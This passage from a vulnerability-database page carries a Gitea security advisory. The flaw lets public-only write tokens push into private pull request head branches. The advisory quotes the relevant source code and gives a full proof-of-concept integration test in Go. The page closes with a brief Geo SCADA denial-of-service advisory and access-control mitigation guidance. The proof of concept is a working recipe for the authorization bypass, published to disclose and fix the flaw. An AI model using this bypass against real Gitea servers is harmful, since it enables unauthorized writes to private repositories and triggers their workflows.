        MakeRequest(t, req, http.StatusOK)
        assert.Eventually(t, func() bool {
            return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
        }, 5*time.Second, 50*time.Millisecond)

        actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
            RepoID:     headRepo.ID,
            WorkflowID: workflowID,
        }, unittest.OrderBy("id DESC"))
        assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
        assert.Equal(t, "push", actionRun.TriggerEvent)
        assert.Equal(t, doer.ID, actionRun.TriggerUserID)
        assert.NotEmpty(t, actionRun.CommitSHA)

        job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
        assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)

        commit, err = gitRepo.GetBranchCommit(headBranch)
        require.NoError(t, err)
        blob, err := commit.GetBlobByPath(publicPath)
        require.NoError(t, err)
        content, err := blob.GetBlobContent(1024)
        require.NoError(t, err)
        assert.Equal(t, publicMarker, content)
    })
}

Impact

The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.

Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.

When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:38:06Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nGitea allows a `public-only,write:repository` token to update a private pull request head branch through a public base repository route.\n\nThe vulnerable endpoint is:\n\n```text\nPOST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update\n```\n\nGitea checks the token\u0027s public-only restriction against the route repository, which is the public base repository. `UpdatePullRequest()` then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token\u0027s public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.\n\nAs a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.\n\n### Details\nThe pull request API routes are attached under a repository route group. The public-only check applies to `ctx.Repo.Repository`, the route/base repository.\n\n```go\n// routers/api/v1/api.go:1358-1394\n\t\t\t\t\tm.Group(\"/pulls\", func() {\n\t\t\t\t\t\tm.Combo(\"\").Get(repo.ListPullRequests).\n\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)\n\t\t\t\t\t\tm.Get(\"/pinned\", repo.ListPinnedPullRequests)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/resolve\", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/unresolve\", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)\n\t\t\t\t\t\tm.Group(\"/{index}\", func() {\n\t\t\t\t\t\t\tm.Combo(\"\").Get(repo.GetPullRequest).\n\t\t\t\t\t\t\t\tPatch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)\n\t\t\t\t\t\t\tm.Get(\".{diffType:diff|patch}\", repo.DownloadPullDiffOrPatch)\n\t\t\t\t\t\t\tm.Post(\"/update\", reqToken(), repo.UpdatePullRequest)\n\t\t\t\t\t\t\tm.Get(\"/commits\", repo.GetPullRequestCommits)\n\t\t\t\t\t\t\tm.Get(\"/files\", repo.GetPullRequestFiles)\n\t\t\t\t\t\t\tm.Combo(\"/merge\").Get(repo.IsPullRequestMerged).\n\t\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).\n\t\t\t\t\t\t\t\tDelete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)\n\t\t\t\t\t\t\tm.Group(\"/reviews\", func() {\n\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\tGet(repo.ListPullReviews).\n\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)\n\t\t\t\t\t\t\t\tm.Group(\"/{id}\", func() {\n\t\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReview).\n\t\t\t\t\t\t\t\t\t\tDelete(reqToken(), repo.DeletePullReview).\n\t\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)\n\t\t\t\t\t\t\t\t\tm.Combo(\"/comments\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReviewComments)\n\t\t\t\t\t\t\t\t\tm.Post(\"/dismissals\", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)\n\t\t\t\t\t\t\t\t\tm.Post(\"/undismissals\", repo.UnDismissPullReview)\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\tm.Combo(\"/requested_reviewers\", reqToken()).\n\t\t\t\t\t\t\t\tDelete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).\n\t\t\t\t\t\t\t\tPost(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)\n\t\t\t\t\t\t})\n\t\t\t\t\t\tm.Get(\"/{base}/*\", repo.GetPullRequestByBaseHead)\n\t\t\t\t\t}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())\n```\n\n```go\n// routers/api/v1/api.go:1465-1466\n\t\t\t\t}, repoAssignment(), checkTokenPublicOnly())\n\t\t\t}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))\n```\n\nFor `POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`, the route repository can be public, so a `public-only,write:repository` token passes the route-level public-only check.\n\nThe update handler then checks whether the caller can update the PR head branch:\n\n```go\n// routers/api/v1/repo/pull.go:1220-1270\n\tpr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64(\"index\"))\n\tif err != nil {\n\t\tif issues_model.IsErrPullRequestNotExist(err) {\n\t\t\tctx.APIErrorNotFound()\n\t\t} else {\n\t\t\tctx.APIErrorInternal(err)\n\t\t}\n\t\treturn\n\t}\n\n\tif pr.HasMerged {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadIssue(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif pr.Issue.IsClosed {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadBaseRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\tif err = pr.LoadHeadRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\trebase := ctx.FormString(\"style\") == \"rebase\"\n\nallowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)\n\tif err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif (!allowedUpdateByMerge \u0026\u0026 !rebase) || (rebase \u0026\u0026 !allowedUpdateByRebase) {\n\t\tctx.Status(http.StatusForbidden)\n\t\treturn\n\t}\n\n\t// default merge commit message\n\tmessage := fmt.Sprintf(\"Merge branch \u0027%s\u0027 into %s\", pr.BaseBranch, pr.HeadBranch)\n```\n\nThe service checks the head repository using the user\u0027s normal repository permission:\n\n```go\n// services/pull/update.go:136-164\n// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections\n// update PR means send new commits to PR head branch from base branch\nfunc IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {\n\tif user == nil {\n\t\treturn false, false, nil\n\t}\n\tif err := pull.LoadBaseRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\tif err := pull.LoadHeadRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\n\t// 1. check whether pull request enabled.\n\tprBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)\n\tif repo_model.IsErrUnitTypeNotExist(err) {\n\t\treturn false, false, nil // the PR unit is disabled in base repo means no update allowed\n\t} else if err != nil {\n\t\treturn false, false, fmt.Errorf(\"get base repo unit: %v\", err)\n\t}\n\n\t// 2. only support Github style pull request\n\tif pull.Flow == issues_model.PullRequestFlowAGit {\n\t\treturn false, false, nil\n\t}\n\n\t// 3. check user push permission on head repository\npushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)\n\tif err != nil {\n\t\treturn false, false, err\n\t}\n```\n\nThat is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate `pull.HeadRepo`.\n\nIf allowed, the update service performs a merge/rebase update and pushes into the head repository:\n\n```go\n// services/pull/update.go:89-100\n\treversePR := \u0026issues_model.PullRequest{\n\t\tBaseRepoID: pr.HeadRepoID,\n\t\tBaseRepo:   pr.HeadRepo,\n\t\tBaseBranch: pr.HeadBranch,\n\n\t\tHeadRepoID: pr.BaseRepoID,\n\t\tHeadRepo:   pr.BaseRepo,\n\t\tHeadBranch: pr.BaseBranch,\n\t}\n\n_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, \"\", message, repository.PushTriggerPRUpdateWithBase)\n\treturn err\n```\n\nThe result is a server-side private repository write performed through a public route.\n\n### PoC\n```go\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\tactions_model \"code.gitea.io/gitea/models/actions\"\n\tauth_model \"code.gitea.io/gitea/models/auth\"\n\trepo_model \"code.gitea.io/gitea/models/repo\"\n\tunit_model \"code.gitea.io/gitea/models/unit\"\n\t\"code.gitea.io/gitea/models/unittest\"\n\tuser_model \"code.gitea.io/gitea/models/user\"\n\t\"code.gitea.io/gitea/modules/gitrepo\"\n\tapi \"code.gitea.io/gitea/modules/structs\"\n\twebhook_module \"code.gitea.io/gitea/modules/webhook\"\n\trepo_service \"code.gitea.io/gitea/services/repository\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, _ *url.URL) {\n\t\tdoer := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{Name: \"user1\"})\n\n\t\tbaseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{\n\t\t\tName:          \"public-pr-update-base\",\n\t\t\tDescription:   \"public base repository for public-only PR update PoC\",\n\t\t\tAutoInit:      true,\n\t\t\tReadme:        \"Default\",\n\t\t\tDefaultBranch: \"main\",\n\t\t\tIsPrivate:     false,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\theadRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{\n\t\t\tBaseRepo:     baseRepo,\n\t\t\tName:         \"private-pr-update-head\",\n\t\t\tDescription:  \"private head repository for public-only PR update PoC\",\n\t\t\tSingleBranch: baseRepo.DefaultBranch,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, headRepo)\n\t\trequire.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{\n\t\t\tRepoID: headRepo.ID,\n\t\t\tType:   unit_model.TypeActions,\n\t\t}}, nil))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, \u0026repo_model.Repository{ID: headRepo.ID})\n\n\t\theadBranch := \"private-head-update\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: baseRepo.DefaultBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\"private-head-marker.txt\": \"private head branch marker\",\n\t\t})\n\t\tconst workflowID = \"private-push.yml\"\n\t\tconst workflowSentinel = \"FAULTLINE_POC_062_PRIVATE_ACTION\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: headBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\".gitea/workflows/\" + workflowID: fmt.Sprintf(`name: private-push\non:\n  push:\n    branches:\n      - %s\njobs:\n  private-head-job:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo %s\n`, headBranch, workflowSentinel),\n\t\t})\n\n\t\trequire.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), \u0026repo_model.Repository{\n\t\t\tID:        headRepo.ID,\n\t\t\tIsPrivate: true,\n\t\t}, \"is_private\"))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, \u0026repo_model.Repository{ID: headRepo.ID})\n\t\trequire.True(t, headRepo.IsPrivate)\n\t\tbaselinePrivateHeadRuns := unittest.GetCount(t, \u0026actions_model.ActionRun{RepoID: headRepo.ID})\n\n\t\tsession := loginUser(t, doer.Name)\n\t\tpublicOnlyToken := getTokenForLoggedInUser(t, session,\n\t\t\tauth_model.AccessTokenScopePublicOnly,\n\t\t\tauth_model.AccessTokenScopeWriteRepository,\n\t\t)\n\n\t\tpublicPath := \"public-base-injected-into-private.txt\"\n\t\tpublicMarker := \"FAULT-GITEA-062 public base content reached private head\"\n\t\tcreatePublicBaseFile := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: baseRepo.DefaultBranch,\n\t\t\t\tMessage:    \"create public marker for private head update\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),\n\t\t}\n\t\treq := NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", baseRepo.FullName(), publicPath), \u0026createPublicBaseFile).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\n\t\tprivatePath := \"direct-private-write-should-fail.txt\"\n\t\tdirectPrivateWrite := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: headBranch,\n\t\t\t\tMessage:    \"direct private write attempt\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(\"direct private write marker\")),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", headRepo.FullName(), privatePath), \u0026directPrivateWrite).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusNotFound)\n\n\t\tprPayload := map[string]string{\n\t\t\t\"title\": \"faultline public-only private head update\",\n\t\t\t\"base\":  baseRepo.DefaultBranch,\n\t\t\t\"head\":  fmt.Sprintf(\"%s/%s:%s\", doer.Name, headRepo.Name, headBranch),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/pulls\", baseRepo.FullName()), prPayload).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\t\tvar pr api.PullRequest\n\t\tDecodeJSON(t, resp, \u0026pr)\n\t\trequire.Equal(t, prPayload[\"title\"], pr.Title)\n\n\t\tgitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)\n\t\trequire.NoError(t, err)\n\t\tdefer gitRepo.Close()\n\n\t\tcommit, err := gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\t_, err = commit.GetBlobByPath(publicPath)\n\t\trequire.Error(t, err)\n\n\t\treq = NewRequestf(t, \"POST\", \"/api/v1/repos/%s/pulls/%d/update?style=merge\", baseRepo.FullName(), pr.Index).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusOK)\n\t\tassert.Eventually(t, func() bool {\n\t\t\treturn unittest.GetCount(t, \u0026actions_model.ActionRun{RepoID: headRepo.ID}) \u003e baselinePrivateHeadRuns\n\t\t}, 5*time.Second, 50*time.Millisecond)\n\n\t\tactionRun := unittest.AssertExistsAndLoadBean(t, \u0026actions_model.ActionRun{\n\t\t\tRepoID:     headRepo.ID,\n\t\t\tWorkflowID: workflowID,\n\t\t}, unittest.OrderBy(\"id DESC\"))\n\t\tassert.Equal(t, webhook_module.HookEventPush, actionRun.Event)\n\t\tassert.Equal(t, \"push\", actionRun.TriggerEvent)\n\t\tassert.Equal(t, doer.ID, actionRun.TriggerUserID)\n\t\tassert.NotEmpty(t, actionRun.CommitSHA)\n\n\t\tjob := unittest.AssertExistsAndLoadBean(t, \u0026actions_model.ActionRunJob{RunID: actionRun.ID})\n\t\tassert.Contains(t, string(job.WorkflowPayload), workflowSentinel)\n\n\t\tcommit, err = gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\tblob, err := commit.GetBlobByPath(publicPath)\n\t\trequire.NoError(t, err)\n\t\tcontent, err := blob.GetBlobContent(1024)\n\t\trequire.NoError(t, err)\n\t\tassert.Equal(t, publicMarker, content)\n\t})\n}\n```\n\n### Impact\nThe attacker needs a valid `public-only,write:repository` token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.\n\nSuccessful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.\n\nWhen Actions is enabled on the private head repository, the same server-side push also queues the private repository\u0027s matching `push` workflow. The PoC confirms an `ActionRun` and `ActionRunJob` are created for the private head repository with the attack-triggered push event.",
  "id": "GHSA-xxjv-752h-3vp2",
  "modified": "2026-07-21T20:38:06Z",
  "published": "2026-07-21T20:38:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-xxjv-752h-3vp2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Public-only repository tokens can update private PR head branches"
}

GHSA-XXMC-MJXM-2M5R

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:32
VLAI
Details

A CWE-285: Improper Authorization vulnerability exists that could cause Denial of Service against the Geo SCADA server when specific messages are sent to the server over the database server TCP port. Affected Products: EcoStruxure™ Geo SCADA Expert 2019, EcoStruxure™ Geo SCADA Expert 2020, EcoStruxure™ Geo SCADA Expert 2021 (All versions prior to October 2022), ClearSCADA (All Versions).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-22610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-31T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-285: Improper Authorization vulnerability exists that could cause Denial of Service against the Geo SCADA server when specific messages are sent to the server over the database server TCP port. Affected Products: EcoStruxure\u2122 Geo SCADA Expert 2019, EcoStruxure\u2122 Geo SCADA Expert 2020, EcoStruxure\u2122 Geo SCADA Expert 2021 (All versions prior to October 2022), ClearSCADA (All Versions).",
  "id": "GHSA-xxmc-mjxm-2m5r",
  "modified": "2024-04-04T05:32:13Z",
  "published": "2023-07-06T19:24:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22610"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-010-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2023-010-02_Geo_SCADA_Security_Notification.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.se.com/ww/en/download/document/SEVD-2023-010-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.